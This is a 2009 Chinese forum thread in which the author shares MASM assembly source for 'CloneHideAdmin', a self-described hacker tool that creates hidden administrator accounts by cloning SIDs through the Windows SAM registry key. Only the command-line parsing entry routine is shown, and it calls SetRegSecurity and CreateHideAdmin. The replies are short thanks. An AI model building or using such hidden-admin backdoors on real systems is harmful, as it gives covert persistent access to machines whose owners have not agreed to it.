首页
社区
课程
招聘
[原创]CloneHideAdmin开源
发表于: 2009-8-13 12:57 13077

[原创]CloneHideAdmin开源

2009-8-13 12:57
13077

CloneHideAdmin开源
以前写的一个建立隐藏管理员的命令行工具,类属黑客工具吧,在这里发最主要是想和大家一起共同探讨汇编中命令行参数的处理方法,如果违规,管理员删帖便罢了。
  
  大家看我的处理方法:

;**************************    程序从这里开始执行   ****************************************************
start:
        ;        invoke        StdOut,addr szHello   ;include masm32.lib and masm32.inc
                invoke        GetStdHandle,STD_OUTPUT_HANDLE
                mov                hStdOut,eax
                invoke        SetConsoleTitle,addr szTitle
                invoke        _argc
                .if                eax < 2
                        jmp        ErrorShow
                .endif
               
                invoke        RtlZeroMemory,addr BuffTmp,sizeof BuffTmp
                invoke        _argv,1,addr BuffTmp,128
                lea                edi,BuffTmp
                .if                byte ptr [edi] == '-'
                        inc        edi
                        xor        ecx,ecx
                        mov        cl,byte ptr [edi]
                        .if        (cl == '?') || (cl == 'h') || (cl == 'H')
                                invoke        ShowUsage
                       
                        .elseif (cl == 'l') || (cl == 'L')
                                invoke        _argc
                                .if                eax != 2                ;列帐户只要2个参数,加上程序名
                                        invoke        StdOut,CTXT("     列帐户格式不对。再来!",13,10)
                                        jmp                ErrorShow
                                .endif
                                invoke        ClearScreen
                                invoke        RtlZeroMemory,addr BuffEnumSID,sizeof BuffEnumSID        ;先清空
                                invoke        SetRegSecurity
                                invoke        ListUserSID,CTXT("SAM\\SAM\\Domains\\Account\\Users\\Names"),addr BuffEnumSID
                                invoke        StdOut,CTXT("当前机器上帐户对应SID:",13,10,13,10)
                                invoke        StdOut,addr BuffEnumSID                ;显示出来
                                invoke        StdOut,CTXT(13,10,"请注意:克隆时只要输入最后3位",13,10)
                               
                        .elseif (cl == 'c') || (cl == 'C')
                                invoke        _argc                ;克隆的话要7的参数,加上程序名
;                                PrintDec eax
                                .if                eax < 7
                                        PrintDec eax,"参数太少"
                                        invoke        StdOut,CTXT("     克隆帐户格式不对。再来!",13,10)
                                        jmp                ErrorShow
                                .endif
                               
                                invoke        RtlZeroMemory,addr BuffSID,sizeof BuffSID
                                invoke        _argv,2,addr BuffSID,sizeof BuffSID                ;取SID了
                                invoke        lstrlen,addr BuffSID
                                .if                eax > 3       
                                        invoke        StdOut,CTXT("        SID 只要最后三位。再来!",13,10)
                                        jmp                ErrorShow
                                .endif
                               
                                PrintStringByAddr offset BuffSID
                                invoke        RtlZeroMemory,addr BuffTmp,sizeof BuffTmp
                                invoke        _argv,3,addr BuffTmp,128
                                lea                edi,BuffTmp
                                .if                byte ptr [edi] == '-'
                                        inc        edi
                                        mov        cl,byte ptr [edi]
                                        .if        (cl == 'u') || (cl == 'U')
                                                invoke        RtlZeroMemory,addr BuffUser,sizeof BuffUser
                                                invoke        _argv,4,addr BuffUser,sizeof BuffUser        ;取用户名了
                                                PrintStringByAddr offset BuffUser
                                                invoke        RtlZeroMemory,addr BuffTmp,sizeof BuffTmp
                                                invoke        _argv,5,addr BuffTmp,sizeof BuffTmp
                                                lea                edi,BuffTmp
                                                .if                byte ptr [edi] == '-'
                                                        inc        edi
                                                        xor        ecx,ecx
                                                        mov        cl,byte ptr [edi]
                                                        .if        (cl == 'p') || (cl == 'P')
                                                                invoke        RtlZeroMemory,addr BuffPass,sizeof BuffPass
                                                                invoke        _argv,6,addr BuffPass,sizeof BuffPass        ;取密码了
                                                                PrintStringByAddr offset BuffPass
                                                                invoke        SetRegSecurity
                                                                invoke        CreateHideAdmin,addr BuffUser,addr BuffPass,addr BuffSID
                                                                invoke        StdOut,CTXT("恭喜您!!克隆帐户成功  ")
                                                                invoke        wsprintf,addr BuffTmp,CTXT("帐户名: %s, 密码: %s"),addr BuffUser,addr BuffPass
                                                                invoke        StdOut,addr BuffTmp
                                                               
                                                        .else
                                                                invoke        StdOut,CTXT("      输入密码格式不对。再来!",13,10)
                                                                jmp                ErrorShow
                                                        .endif
                                                .else
                                                        invoke        StdOut,CTXT("     输入用户名格式不对。再来!",13,10)
                                                        jmp                ErrorShow
                                                .endif
                                        .else
                                                jmp        ErrorShow
                                        .endif
                                .else                                       
                                        jmp        ErrorShow
                                       
                                .endif
                        .endif
               
                .else
ErrorShow:
                        invoke        ClearScreen
                        invoke        ShowUsage                       
                .endif
               
                invoke        ExitProcess,NULL
end start

完整的工程大家下载了看吧!

注意:程序在VISTA运行有问题。


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 7
支持
分享
最新回复 (4)
雪    币: 95
活跃值: (419)
能力值: ( LV9,RANK:310 )
在线值:
发帖
回帖
粉丝
2
谢谢LZ分享,下来看看
2009-8-28 22:15
0
雪    币: 433
活跃值: (1870)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
3
support! 学习了
2009-8-29 00:03
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
处理方法和c不是一样么;
2009-8-29 07:30
0
雪    币: 2307
活跃值: (1013)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
5
我觉得C里面简单些,也没见过别人写的汇编处理命令行的程序,自己写的可能有点太乱了。
2009-8-29 18:47
0
游客
登录 | 注册 方可回帖
返回
//